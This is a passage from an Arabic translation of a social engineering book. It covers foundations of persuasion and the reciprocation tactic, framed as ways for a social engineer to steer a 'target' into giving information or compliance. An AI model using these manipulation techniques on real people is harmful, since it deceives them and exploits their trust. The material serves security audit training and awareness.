‫ﺿﺣﻛﻲ وإﺣراﺟك"‪ .‬ھذا ﻣﺎ ﺳﻣﺢ ﻟﮭﺎ ﺑﺣﻔظ ﻣﺎء اﻟوﺟﮫ ﻋﻠﻰ اﻟﻣﺣﯾطﯾن ﻟﻧﺎ‪ .‬ﻓﮭﻣت أﻧﻧﻲ "أﺧذت واﺣدة ﻣن اﺟل اﻟﻔرﯾﻖ"‪ ،‬وأﺟﺎﺑت ﺑﻠطف ﺷدﯾد‪.‬‬
‫ﺛم ﺑﻌد دﻗﯾﻘﺔ اﻋﺗذرت وﻋﻣﻠت ﻟﺻﺎﻟﺣﻲ ﻓﺄﻋطﯾﺗﮭﺎ ﻛل اﻟﺑﯾﺎﻧﺎت وﺳﺄﻟت ﻋن اﻟﺑﯾﺎﻧﺎت وﻋﺎدة ﻛﺎن ﺳﯾﺗﻌﯾن ﻋﻠﻰ اﻟﻌﻣل ﺑﺟد ﻟﻠﺣﺻول ﻋﻠﯾﮭﺎ‪.‬‬
‫اﻹﺣﺳﺎن إﻟﻰ اﻟﻧﺎس ھو وﺳﯾﻠﺔ ﺳرﯾﻌﺔ ﻟﺑﻧﺎء اﻟﻌﻼﻗﺔ ووﺿﻊ ﻧﻔﺳك ﻓﻲ اﻷﺳس اﻟﺧﻣﺳﺔ ﻓﻲ اﻹﻗﻧﺎع واﻟﺗﺄﺛﯾر‪.‬‬
‫أﺳﻠوب واﺣد ﻟﻠﺗﺄﺛﯾر ﻋﻠﻰ اﻟﻧﺎس ﺑﺎﺳﺗﺧدام اﻟﻠطف واﻷﻟﻔﺔ ھو طرح أﺳﺋﻠﺔ وإﻋطﺎء اﻟﺧﯾﺎرات اﻟﺗﻲ ﺗؤدي ﺑﮭم إﻟﻰ اﻟﻣﺳﺎر اﻟذي ﺗرﯾده‪ .‬ﻋﻠﻰ ﺳﺑﯾل‬
‫اﻟﻣﺛﺎل‪ ،‬ذات ﻣرة ﺗم اﻟﺗﺄﺛﯾر ﻋﻠﻰ ﻷﺧذ وظﯾﻔﺔ ﺣﯾث أﻧﺎ ﺣﻘﺎ ﻻ أرﯾد أن أﻛون ﻛﺟزء ﻣن ﺟﮭد ﺟﻣﺎﻋﻲ‪ .‬ﻛﺎن ﻗﺎﺋد اﻟﻔرﯾﻖ ذات ﻛﺎرﯾزﻣﯾﺔ ودﯾﺔ‬
‫ﻟﻠﻐﺎﯾﺔ ﺣﯾث ﻛﺎن "ﻋﺎﻣل ﺳﺣر" اﻟذي ﺳﻣﺢ ﻟﮫ ﺑﺎﻟﺗﺣدث إﻟﻰ أي ﺷﺧص‪ .‬اﻗﺗرب ﻣﻧﻲ وﻗﺎل‪" :‬ﻛرﯾس‪ ،‬أردت أن أﺗﺣدث إﻟﯾك ﺑﺷﻛل ﻣﻧﻔﺻل ﻋن‬
‫اﻟﻔرﯾﻖ‪ .‬أﺣﺗﺎج إﻟﻰ اﻟﯾد اﻟﯾﻣﻧﻰ ﻟﻣﺷروع ﺻﻐﯾر‪ .‬وﻟﻛﻧﻰ أﺣﺗﺎج ﻓﻲ ھذا اﻟﺷﺧص أن ﯾﻛون ﻣﻘﺎﻣر‪ ،‬وﻣﺗﺣﻔز‪ .‬أﻋﺗﻘد أن ھذا ھو أﻧت‪ ،‬وﻟﻛن أﻧﺎ ﻻ‬
‫أرﯾد أن أﻓﺗرض؛ ﻣﺎ رأﯾك؟"‬
‫ﻛﻧت ﻣﺗﺣﻣﺳﺎ وأﺷﻌر ﺑﺎﻟﺳﻌﺎدة ﻣن ﻗﺑل اﻟﻣﺟﺎﻣﻼت واﻟﻘدرة ﻋﻠﻰ أن أﻛون "ﻣﮭم"‪ ،‬ﻟذﻟك أﻧﺎ رددت‪" ،‬أﻧﺎ ﺷﺧص ﻟدي دواﻓﻊ ذاﺗﯾﺔ وﻣﺗﺣﻔز ﺟدا‪ .‬ﻣﺎ‬
‫اﻟذي ﺗﺣﺗﺎﺟﮫ أﯾﺿﺎ‪ ،‬ﻗل ﻟﻲ" ‪.‬‬
‫واﺻل ﻗﺎﺋد اﻟﻔرﯾﻖ اﻟﻛﻼم‪" ،‬ﺣﺳﻧﺎ‪ ،‬أﻧﺎ ﻣؤﻣن ﻛﺑﯾر ﺑﺎﻟﻘﯾﺎدة ﺑﺎﻟﻘدوة‪ .‬وأﻋﺗﻘد أن ﻟدﯾك ھذه اﻟﻧوﻋﯾﺔ ﻣن اﻟﻘﯾﺎدة‪ .‬اﻟﻣﺷﻛﻠﺔ ھﻲ‪ ،‬أن ﺑﻌض ﻣن اﻟﻔرﯾﻖ‬
‫ﻻ‪ ،‬واﻧﮭم ﺑﺣﺎﺟﺔ اﻟﻰ ﺷﺧص ﻗوي ﻟﯾﺑﯾن ﻟﮭم ﻛﯾف ﯾﺗم ذﻟك‪".‬‬
‫ﻗﺑل ﻧﮭﺎﯾﺔ اﻟﻣﺣﺎدﺛﺔ‪ ،‬ﻣﺎ أراد ﺑدا ﻛﻣﺎ ﻟو ﻛﺎن ﻓﻛرﺗﻲ‪ ،‬اﻷﻣر اﻟذي ﺟﻌل ﻣن اﻟﻣﺳﺗﺣﯾل اﻟﺗراﺟﻊ ﻋﻧﮫ‪ .‬ﻗوي ﺑﺎﻟﻔﻌل‪ ،‬وﺑدأ ﻛل ﺷﻲء ﻣﻊ ﻗوة اﻹﻗﻧﺎع‪.‬‬
‫‪ -‬أن ﺗﻛون ﻓﻲ ﺗﻧﺎﻏم ﻣﻊ ﻧﻔﺳك وﻣﺣﯾطك )‪(Be in Tune with Yourself and Your Surroundings‬‬
‫ﻛوﻧك ﻋﻠﻰ ﺑﯾﻧﺔ ﻣن ﻧﻔﺳك وﻣﺣﯾطك‪ ،‬أو اﻟﺑراﻋﺔ اﻟﺣﺳﯾﺔ )‪ ،(sensory acuity‬ھﻲ اﻟﻘدرة ﻋﻠﻰ ﻣﻼﺣظﺔ اﻟﻌﻼﻣﺎت ﻓﻲ ﺷﺧص ﻣﺎ ﻛﻧت‬
‫ﺗﺳﺗﮭدﻓﮫ وﻓﻰ ﻧﻔﺳك واﻟﺗﻲ ﺳوف ﺗﻘول ﻟﻛم ان ﻛﻧت ﺗﺳﯾر ﻓﻲ اﻻﺗﺟﺎه اﻟﺻﺣﯾﺢ أم ﻻ‪.‬‬
‫اﻟﻌدﯾد ﻣن اﻟﻣﺑﺎدئ اﻟﺗﻲ ﻧوﻗﺷت ﻓﻲ اﻟﻔﺻول اﻟﺳﺎﺑﻘﺔ ﺗؤدى اﻟﻰ ﺗطﺑﯾﻖ اﻹﻗﻧﺎع‪ .‬ﻗراءة ﻟﻐﺔ اﻟﺟﺳد وﻋﻼﻣﺎت اﻟوﺟﮫ ﯾﻣﻛن أن ﺗﻘول ﻟﻛم اﻟﻛﺛﯾر ﻋن‬
‫ﺗﺄﺛﯾرك ﻋﻠﻰ اﻟﺷﺧص‪.‬‬
‫ﻹﺗﻘﺎن ﺣﻘﺎ ﻓن اﻟﻣزدوج اﻟﺗﺄﺛﯾر واﻹﻗﻧﺎع‪ ،‬ﻋﻠﯾك ان ﺗﺻﺑﺢ أﺳﺗﺎذا ﻓﻲ اﻟﻣﺷﺎھدة واﺳﺗﺎذا ﻓﻲ اﻻﺳﺗﻣﺎع‪ .‬ﻛرﯾس ﯾﺳﺗﺑري‪ ،‬ﻋﺎﻟم ﻓﻲ اﻟطب اﻟﻌﺻﺑﻲ‬
‫اﻟﻧﻔﺳﻲ ﻓﻲ ﺟﺎﻣﻌﺔ أﻟﺑرﺗﺎ‪ ،‬ﻛﻧدا‪ ،‬ﻗدر أن اﻟﻌﻘول اﻟﺑﺷرﯾﺔ ﺗﻌﺎﻟﺞ اﻟﻣﻌﻠوﻣﺎت ﺑﻣﻌدل ‪ 20‬ﻣﻠﯾون ﻣﻠﯾﺎر ﻋﻣﻠﯾﺔ ﺣﺳﺎﺑﯾﺔ ﻓﻲ اﻟﺛﺎﻧﯾﺔ‪ .‬وﺗﺗﻣﺛل ﺗﻠك‬
‫اﻟﺣﺳﺎﺑﺎت ﺑواﺳطﺔ ﺗﻌﺎﺑﯾر اﻟوﺟﮫ‪ ،microexpressions ،‬اﻹﯾﻣﺎءات )‪ ،(gestures‬اﻟﻣوﻗف )‪ ،(posture‬ﻧﻐﻣﺎت اﻟﺻوت‪ ،‬وﻣﯾض اﻟﻌﯾن‪،‬‬
‫ﻣﻌدل اﻟﺗﻧﻔس‪ ،‬أﻧﻣﺎط اﻟﻛﻼم‪ ،‬اﻟﻛﻼم ﻏﯾر اﻟﻠﻔظﻲ‪ ،‬واﻟﻌدﯾد ﻣن أﻧواع اﻷﻧﻣﺎط اﻟﻣﻣﯾزة‪ .‬اﺗﻘﺎن اﻟﺗﺄﺛﯾر ﯾﻌﻧﻲ أن ﺗﻛون ﻋﻠﻰ ﺑﯾﻧﺔ ﻣن ﺗﻠك اﻷﺷﯾﺎء‬
‫اﻟدﻗﯾﻘﺔ ﻓﻲ ﻧﻔﺳك واﻵﺧرﯾن‪.‬‬
‫ﻟﻘد وﺟدت ﻟﻧﻔﺳﻲ‪ ،‬اﻟﻘدرة ﻋﻠﻰ أن أﻛون ﻣﻼﺣظ ﻷﺛﺑت أﻧﮭﺎ أﺳﮭل ﺑﺎﻟﻧﺳﺑﺔ ﻟﻲ ﺑﻌد ﺗﻠﻘﻲ ﺑﻌض اﻟﺗدرﯾب ﻣن اﻟدﻛﺗور أﯾﻛﻣن ﻓﻲ‬
‫‪ .microexpressions‬ﻟﻘد وﺟدت ﺑﻌد ذﻟك أﻧﮫ ﻟﯾس ﻓﻘط أﻧﻰ أﺻﺑﺣت أﻛﺛر وﻋﯾﺎ ﺑﻛﺛﯾر ﻣﻣﺎ ﻛﺎن ﯾﺣدث ﻣﻊ ﻣن ﺣوﻟﻲ‪ ،‬وﻟﻛن أﯾﺿﺎ ﻣﻊ ﻧﻔﺳﻲ‪.‬‬
‫ﻋﻧدﻣﺎ ﺷﻌرت ﺑﺗﻌﺑﯾر ﻣﻌﯾن ﻋﻠﻰ وﺟﮭﻲ‪ ،‬ﻛﻧت ﻗﺎدرا ﻋﻠﻰ ﺗﺣﻠﯾﻠﮭﺎ وأرى ﻛﯾف ﯾﻣﻛن أن ﯾﺻور ﻟﻶﺧرﯾن‪ .‬ھذا اﻻﻋﺗراف ﻣﻊ ﻧﻔﺳﻲ واﻟﻣﻧﺎطﻖ‬
‫اﻟﻣﺣﯾطﺔ ﺑﮭﺎ ﻛﺎن واﺣد ﻣن أﻛﺛر اﻟﺗﺟﺎرب اﻟﻣﻔﯾدة ﻓﻲ ﺣﯾﺎﺗﻲ‪.‬‬
‫ﺧﺑراء اﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ اﻟﻌﺻﺑﯾﺔ ﺗروج اﻟﺗﻘﻠﯾل ﻣن اﻟﺣوار اﻟداﺧﻠﻲ اﻟﺧﺎص ﺑك ﻋﻧد ﻣﺣﺎوﻟﺔ اﻟﺗﺄﺛﯾر ﻋﻠﻰ اﻵﺧرﯾن‪ .‬إذا ﻛﻧت ﺗﻘﺗرب ﻣن اﻟﮭدف‬
‫واﻧت ﺗﻔﻛر ﻓﻲ اﻟﻣرﺣﻠﺔ اﻟﻣﻘﺑﻠﺔ ﻣن اﻟﮭﺟوم‪ ،‬ﻓﺎن اﻟﮭدف اﻟﻧﮭﺎﺋﻲ‪ ،‬أو اﻟﻌﺎﺋد اﻟﻣﺣﺗﻣل ﻣن اﻟﻣﺣﺎدﺛﺔ ھو اﻻﯾﻘﺎف‪ ،‬أن اﻟﺣوار اﻟداﺧﻠﻲ ﯾﻣﻛن أن‬
‫ﯾﺳﺑب ﻟك أن ﺗﻔوت اﻟﻛﺛﯾر ﻣﻣﺎ ﯾﺟري ﻣن ﺣوﻟك‪ .‬اﻟﻣﻼﺣظﺔ ﺗﺄﺧذ اﻟﻛﺛﯾر ﻣن اﻟﻌﻣل وﻟﻛن اﻟﻣردود ﯾﺳﺗﺣﻖ ذﻟك ﺟﯾدا‪.‬‬
‫‪ -‬ﻻ ﺗﺗﺻرف ﺑﺟﻧون‪ ،‬وﻛن ﻣرﻧﺎ )‪(Don’t Act Insane—Be Flexible‬‬
‫ﻣﺎذا اﻟذي أﻋﻧﯾﮫ ﺑﺎن ﻻ ﺗﺗﺻرف ﺑﺟﻧون واﻟﺗﺣﻠﻲ ﺑﺎﻟﻣروﻧﺔ؟ ﺗﻌرﯾف واﺣد ﻟﻠﺟﻧون واﻟذي ﻛﻧت أطوف ﺣوﻟﮫ ﻟﺳﻧوات ﻋده وھو "ﻓﻌل اﻟﺷﻲء‬
‫ﻧﻔﺳﮫ ﻣرارا وﺗﻛرارا وﻣن ﺛم ﺗﺗوﻗﻊ ﻧﺗﺎﺋﺞ ﻣﺧﺗﻠﻔﺔ"‪ .‬ﻛوﻧﻲ ﻣﺳﺗﻌد وﻣرن ھو واﺣد ﻣن ﻣﻔﺎﺗﯾﺢ اﻹﻗﻧﺎع‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪908‬‬

‫ﯾﻣﻛﻧك اﻟﺗﻔﻛﯾر ﻓﻲ اﻟﻣروﻧﺔ ﻣن ﺣﯾث اﻷﻣور اﻟﻣﺎدﯾﺔ‪ .‬إذا ﻛﻠﻔت ﻹﻗﻧﺎع أو ﺛﻧﻰ ﺷﻲء ﻣﺎ‪ ،‬ﻓﻣﺎذا ﺗﻛون ﻋﻠﯾﮫ اﻧت ﻓرع ﻣن ﺷﺟرة اﻟﺻﻔﺻﺎف أو‬
‫ﻗﺿﯾب ﻣن اﻟﺻﻠب؟ ﻣﻌظم اﻟﻧﺎس ﯾﻘوﻟون ﻓرع اﻟﺻﻔﺻﺎف ﻷﻧﮫ ﻣرن وﯾﺳﮭل ﺛﻧﯾﮫ‪ ،‬وﯾﺟﻌل اﻟﻣﮭﻣﺔ ﺑﺎرﻋﺔ‪ .‬وھذا ﻣﺛل اﻻﻗﻧﺎع ﺣﯾث إذا ﻛﻧت ﻓﻲ‬
‫ﻣﺣﺎوﻟﺔ ﻹﻗﻧﺎع اﻵﺧرﯾن ﻓﻲ ﺣﺎﻟﺔ اﻟﻌﻧﺎد وﻏﯾر ﻣرن ﻓﺎن اﻻﻗﻧﺎع ﻻ ﯾﻌﻣل‪ ،‬اﻻﻗﻧﺎع ﯾﺣﺗﺎج اﻟﻰ اﻟﻣروﻧﺔ‪.‬‬
‫ﻣرات ﻋدﯾدة‪ ،‬اﻟﺗدﻗﯾﻖ‪/‬اﻟﺗﺣﻘﯾﻖ ﻻ ﯾذھب ﻛﻣﺎ ھو ﻣﺧطط ﻟﮫ‪ .‬اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﺟﯾد ﯾﻛون ﻗﺎدر ﻋﻠﻰ اﻟﺗﻣﺎﯾل ﻣﻊ اﻟﻠﻛﻣﺎت وﺿﺑط اﻷھداف‬
‫واﻷﺳﺎﻟﯾب ﺣﺳب اﻟﺣﺎﺟﺔ‪ .‬ھذا ﻻ ﯾﺗﻌﺎرض ﻣﻊ ﻓﻛرة اﻟﺗﺧطﯾط ﻟﻠﻣﺳﺗﻘﺑل‪ .‬ﺑدﻻ ﻣن ذﻟك‪ ،‬ﯾﺷﯾر اﻟﻰ ﻧﻘطﺔ ﻋدم اﻟﺟﻣود ﺑﺣﯾث ﻋﻧدﻣﺎ ﻻ ﺗﺳﯾر‬
‫اﻷﻣور ﻛﻣﺎ ھو ﻣﺧطط ﻟﮭﺎ ﯾﻣﻛﻧك اﻻﻧﺗﻘﺎل واﻟﺗﻛﯾف ﺣﺗﻰ ﻻ ﯾﺿﯾﻊ اﻟﮭدف‪.‬‬
‫‪ -‬أﺣﺻل ﻋﻠﻰ أﺗﺻﺎل ﻣﻊ ﻧﻔﺳك )‪(Get in Touch with Yourself‬‬
‫ﻋن طرﯾﻖ اﻟﺣﺻول ﻋﻠﻰ اﺗﺻﺎل ﻣﻊ ﻧﻔﺳك‪ ،‬أﻧﺎ ﻻ أﻗﺗرح ﺑﻌض ﻣن اﻟﺗﺄﻣل اﻟﺟﺎد‪ ،‬وﻟﻛن أن ﺗﻔﮭم ﻓﻘط ﻋواطﻔك‪ .‬اﻟﻌواطف ﺗﺳﯾطر ﻋﻣﻠﯾﺎ ﻋﻠﻰ‬
‫ﻛل ﻣﺎ ﺗﻔﻌﻠﮫ‪ ،‬وﻛذﻟك أﯾﺿﺎ ﻛل ﺷﻲء ﯾﻔﻌﻠﮫ اﻟﮭدف اﻟﺧﺎص ﺑك‪ .‬ﻣﻌرﻓﺔ ﻋواطﻔك وﻣن ﺛم إﺟراء اﺗﺻﺎل ﻣﻊ ﻧﻔﺳك ﯾﻣﻛﻧﮫ ان ﯾﺳﺎﻋدك ﻋﻠﻰ وﺿﻊ‬
‫اﻷﺳﺎس ﻟﻛوﻧك ﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ ﻓﻌﺎل‪.‬‬
‫ﺑﺎﻟرﺟوع إﻟﻰ اﻟﻣﺛﺎل اﻟﺳﺎﺑﻖ اﻟﺧﺎص ﺑﺎﻟﺻدﯾﻖ اﻟﻣدﺧن – ﻋﻧد اﻻﻗﺗراب ﻣن ﺻدﯾﻘك ﻓﺈذا ﻛﺎﻧت ﻟدﯾك ﻛراھﯾﺔ ﻋﻣﯾﻘﺔ ﻷوﻟﺋك اﻟذﯾن ﯾدﺧﻧون ﻓﺄن‬
‫ھذا ﺳوف ﯾؤﺛر ﻋﻠﻰ ﻧﮭﺟك‪ .‬ﯾﻣﻛﻧﮭﺎ أن ﺗﺟﻌﻠك ﺗﺗﺻرف‪ ،‬ﺗﻌﺑر‪ ،‬ﺗﻘول‪ ،‬أو ﺗﻔﻌل ﺷﯾﺋﺎ ﻣن ﺷﺄﻧﮭﺎ أن ﺗﻐﻠﻖ اﻟﺑﺎب إﻟﻰ اﻹﻗﻧﺎع‪ .‬ﺣﯾث أﻧك أﺑدا ﻟن‬
‫ﺗﺄﺧذ ﺣﻼ وﺳطﺎ ﺑﺷﺄن أﻣور ﻣﻌﯾﻧﺔ‪ ،‬ﻓﻛون ﻋﻠﻰ ﺑﯾﻧﺔ ﻣن ﺗﻠك اﻷﺷﯾﺎء وﻋواطﻔك ﻋﻧﮭﺎ ﯾﻣﻛﻧﮭﺎ ان ﺗﺳﺎﻋدك ﻋﻠﻰ ﺗطوﯾر ﻣﺳﺎر واﺿﺢ ﻧﺣو اﻟﺗﺄﺛﯾر‬
‫ﻋﻠﻰ اﻟﮭدف‪.‬‬
‫ھذه اﻷﺳس اﻟﺧﻣﺳﺔ ھﻲ اﻟﻣﻔﺗﺎح ﻟﻔﮭم اﻟﺗﺄﺛﯾر واﻹﻗﻧﺎع‪ .‬اﻟﻘدرة ﻋﻠﻰ ﺧﻠﻖ ﺑﯾﺋﺔ ﺣﯾث اﻟﮭدف ﯾرﯾد أن ﯾﻔﻌل ﻣﺎ ﺗطﻠﺑﮫ ھذا ھو اﻟﮭدف ﻣن اﻹﻗﻧﺎع‪،‬‬
‫وھذه اﻷﺳﺎﺳﯾﺎت اﻟﺧﻣﺳﺔ ﺗﺳﺎﻋدك ﻋﻠﻰ ﺧﻠﻖ ﺗﻠك اﻟﺑﯾﺋﺔ‪ .‬ﯾﺗﻧﺎول اﻟﻘﺳم اﻟﺗﺎﻟﻲ ﻛﯾف ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﺳﺗﺧدام ھذه اﻷﺳﺎﺳﯾﺎت‪.‬‬

‫ﺗﻛﺗﯾﻛﺎت اﻟﺗﺄﺛﯾر )‪(Influence Tactics‬‬

‫ﻛﻣﺎ ذﻛرت‪ ،‬اﻟﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﻲ ﯾﺟب ﻋﻠﯾﮫ ﻣﻣﺎرﺳﺔ ﻣﮭﺎرة اﻹﻗﻧﺎع ﺣﺗﻰ ﯾﺻﺑﺢ ﺟزءا ﻣن ﻋﺎداﺗﮫ اﻟﯾوﻣﯾﺔ‪ .‬ھذا ﻻ ﯾﻌﻧﻲ أﻧﮫ ﯾﺟب أن ﯾؤﺛر‬
‫ﻋﻠﻰ اﻟﺟﻣﯾﻊ ﻓﻲ ﻛل ﻣﺎ ﯾﻔﻌﻠون‪ ،‬وﻟﻛن اﻟﻘدرة ﻋﻠﻰ ﺗﺷﻐﯾل ھذه اﻟﻣﮭﺎرة وإﯾﻘﺎﻓﮭﺎ ﺣﺳب اﻹرادة ھﻲ ﺳﻣﺔ ﻗوﯾﺔ ﻓﻲ اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﺟﯾد‪.‬‬
‫اﻟﺗﺄﺛﯾر واﻹﻗﻧﺎع ﻟدﯾﮫ اﻟﻌدﯾد ﻣن اﻟﺟواﻧب اﻟﺗﻲ ﯾﻣﻛن اﺳﺗﺧداﻣﮭﺎ واﻟﻌدﯾد ﻣﻧﮭﺎ ﯾﻣﻛن أن ﯾﺗﻧﺎﺳب ﺑﺳﮭوﻟﺔ ﻣﻊ ﻋﻣﻠﯾﺔ اﻟﺗدﻗﯾﻖ‪ .‬ﺑﻌض اﻟﺟواﻧب‬
‫اﻷﺧرى ﻗد ﻻ ﺗﺗﻧﺎﺳب ﺑﺳﮭوﻟﺔ أﯾﺿﺎ‪ ،‬وﻟﻛن ﺗﺣﻣل ﻣوﻗف ﻗوي ﺟدا ﻓﻲ ﻋﺎﻟم اﻟﺗﺄﺛﯾر‪ .‬ﺗﻐطﻲ اﻷﻗﺳﺎم اﻟﺗﺎﻟﯾﺔ ﺛﻣﺎﻧﯾﺔ ﺗﻘﻧﯾﺎت ﻣﺧﺗﻠﻔﺔ ﻣن اﻟﺗﺄﺛﯾر واﻟﺗﻲ‬
‫ﺗﺳﺗﺧدم ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن ﻣن ﻗﺑل وﺳﺎﺋل اﻹﻋﻼم واﻟﺳﯾﺎﺳﯾﯾن واﻟﺣﻛوﻣﺔ واﻟرﺟﺎل اﻟﻣﺧﺎدﻋﯾن‪ ،‬اﻟﻣﺣﺗﺎﻟﯾن‪ ،‬وﺑﺎﻟطﺑﻊ اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪.‬‬
‫ﯾوﻓر ﻛل ﻗﺳم ﺗﺣﻠﯾل ﻛل ﺗﻘﻧﯾﺔ ﻟﺗرى ﻛﯾف ﯾﺗم اﺳﺗﺧداﻣﮫ ﻓﻲ ﻣﻧﺎطﻖ أﺧرى ﻣن اﻟﺗﺄﺛﯾر ﺑﺟﺎﻧب اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬وﻛذﻟك ﯾﺄﺧذ ﻧظرة ﻓﺎﺣﺻﺔ‬
‫ﻋﻠﻰ اﻟﻛﯾﻔﯾﺔ اﻟﺗﻲ ﯾﻣﻛن أن ﺗﻧطﺑﻖ ﻋﻠﻰ اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪.‬‬
‫اﻟﻤﻌﺎﻣﻠﺔ ﺑﺎﻟﻤﺜﻞ )‪(Reciprocation‬‬
‫اﻟﻣﻌﺎﻣﻠﺔ ﺑﺎﻟﻣﺛل ھو اﻟﺗوﻗﻊ اﻟﻣﺗوارث ﻋﻧد اﻵﺧرﯾن ﺣﯾث ﯾﻌﺎﻣﻠوك ﺑﺷﻛل ﺟﯾد ردأ ﻋﻠﻰ ﻟطﻔك ﻣﻌﮭم‪ .‬ھﻧﺎك ﻣﺛﺎل ﺑﺳﯾط ھو ﻋﻧدﻣﺎ ﻛﻧت ﺗﻣﺷﻰ اﻟﻰ‬
‫ﻣﺑﻧﻰ ﻓﺎذا ﺑﺷﺧص ﻣﺎ ﺟﻌل ﻟك اﻟﺑﺎب ﻣﻔﺗوﺣﺎ ﺑﺎﻟﻧﺳﺑﺔ ﻟك‪ ،‬ﻓﺎﻧﮫ ﯾﺗوﻗﻊ ﻣﻧك أن ﺗﻘول ﺷﻛرا ﻟﮫ وﻣن ﺛم اﻟﺗﺄﻛد ﻣن أن اﻟﺑﺎب ﯾﺑﻘﻰ ﻣﻔﺗوﺣﺎ ﺑﺎﻟﻣﻘﺎﺑل‬
‫ﺑﺎﻟﻧﺳﺑﺔ ﻟﮫ ﺣﺗﻰ ﯾﻌﺑر ھو اﻻﺧر ﻣﻧﮫ‪.‬‬
‫ﻗﺎﻋدة اﻟﻣﻌﺎﻣﻠﺔ ﺑﺎﻟﻣﺛل )‪ (Reciprocation‬ﻣﮭﻣﺔ ﻷﻧﮫ ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن ﯾﺗم رد اﻟﺟﻣﯾل ﻣن دون وﻋﻲ‪ .‬ﻣﻌرﻓﺔ ﻣﺎ ﯾﻌﻧﻲ ھذا ﯾﻌﻧﻰ أن ﻟدﯾك‬
‫اﻵن ﺧطوة ﻋﻠﻰ ﻛﯾف ﯾﻣﻛﻧك اﺳﺗﺧداﻣﮫ ﺑﻣﺛﺎﺑﺔ إﻧك ﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪ .‬ﻗﺑل اﻟدﺧول اﻟﻰ ذﻟك‪ ،‬اﻧظر‪ ،‬ھﻧﺎ اﻟﻰ ﺑﻌض اﻷﻣﺛﻠﺔ ﺣﯾث ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﺗم‬
‫اﺳﺗﺧدام اﻟﻣﻌﺎﻣﻠﺔ ﺑﺎﻟﻣﺛل‪:‬‬
‫‪ -‬ﺷرﻛﺎت اﻷدوﯾﺔ ﺗﻧﻔﻖ ‪ $15،000- $10،000‬ﻟﻛل طﺑﯾب )ﻧﻌم‪ ،‬ﻟﻛل طﺑﯾب( ﻋﻠﻰ ھﯾﺋﺔ "ھداﯾﺎ" ﯾﻣﻛن أن ﺗﺷﻣل ﻋﺷﺎء‪ ،‬ﻛﺗب‪ ،‬أﺟﮭزة‬
‫ﻛﻣﺑﯾوﺗر‪ ،‬ﻗﺑﻌﺎت‪ ،‬ﻣﻼﺑس‪ ،‬أو ﻏﯾرھﺎ ﻣن اﻟﺑﻧود اﻟﺗﻲ ﻟدﯾﮭﺎ ﺷﻌﺎر ﺷرﻛﺔ اﻟدواء‪ .‬ﻋﻧدﻣﺎ ﯾﺣﯾن اﻟوﻗت ﻻﺧﺗﯾﺎر دواء ﻣﻌﯾن ﻟﺗدﻋﯾﻣﮫ‬
‫وﺷراﺋﮫ‪ ،‬ﻣن اﻟذي ﻓﻲ رأﯾك اﻷطﺑﺎء ﺳوف ﺗﺣب أن ﺗذھب إﻟﯾﮭم؟‬
‫‪ -‬اﻟﺳﯾﺎﺳﯾﯾن ﯾﺗﺄﺛروا ﺑﻧﻔس اﻟطرﯾﻘﺔ‪ .‬اﻧﮫ ﻟﯾس ﺳرا ﺣﯾث أن اﻟﻌدﯾد ﻣن اﻟﺳﯾﺎﺳﯾﯾن أو اﻟﻣﻌﺎرﺿﯾن ھم أﻛﺛر ﻣؤاﺗﺎة‪/‬إﯾﺟﺎﺑﯾﮫ اﺗﺟﺎه اﻷﺷﺧﺎص‬
‫اﻟذﯾن ﺳﺎﻋدوھم ﻓﻲ اﻟﺣﻣﻠﺔ اﻟﺳﯾﺎﺳﯾﺔ ﻣن أوﻟﺋك اﻟذﯾن ﻟم ﯾﻔﻌﻠوا ذﻟك‪.‬‬
‫‪ -‬ﻛﺛﯾرا ﻣﺎ ﯾﺗم اﺳﺗﺧدم ﺗﻛﺗﯾك اﻟﻣﻌﺎﻣﻠﺔ ﺑﺎﻟﻣﺛل )‪ (Reciprocation‬ﻓﻲ ﻣﺟﺎل اﻷﻋﻣﺎل اﻟﺗﺟﺎرﯾﺔ‪ ،‬وﺧﺻوﺻﺎ ﻋﻧدﻣﺎ ﯾﺗﻌﻠﻖ اﻷﻣر ﺑﻣﺳﺎﺋل‬
‫اﻟﻌﻘود‪ .‬رﺑﻣﺎ رﺟل اﻟﻣﺑﯾﻌﺎت ﺳوف ﯾدﻓﻊ ﻟﺗﻧﺎول وﺟﺑﺔ‪ ،‬ﺛم ﯾﺳﺄل ﻓﻲ وﻗت ﻻﺣﻖ ﻟﻠﺣﺻول ﻋﻠﻰ اﻣﺗﯾﺎز ﻓﻲ اﻟﻌﻘد‪ .‬ﯾﺿطر اﻟﻌﻣﯾل إﻟﻰ‬
‫إﻋطﺎء ھذا اﻻﻣﺗﯾﺎز‪.‬‬
‫‪ -‬ﻣوظف زﻣﯾل ﻟك ﺷﻐل أﺳﺑوع واﺣد ﻣن أﺟﻠك ﻋﻧدﻣﺎ ﻛﻧت ﻓﻲ ﺣﺎﺟﺔ ﯾوم ﻋطﻠﺔ‪ .‬اﻵن ﯾطﻠب ﻣﻧك رد اﻟﺟﻣﯾل‪ ،‬وﻟﻛن أﻧت ﻟدﯾك ﺧطط‪.‬‬
‫ﻓﻲ ھذه اﻟﺣﺎﻟﺔ‪ ،‬ﻓﺎن اﻟﻧﺎس ﻋﺎدة ﯾﻘوﻣون ﺑﺈﻋﺎدة اﻟﺟدوﻟﺔ واﺣﺗرام اﻟطﻠب‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪909‬‬

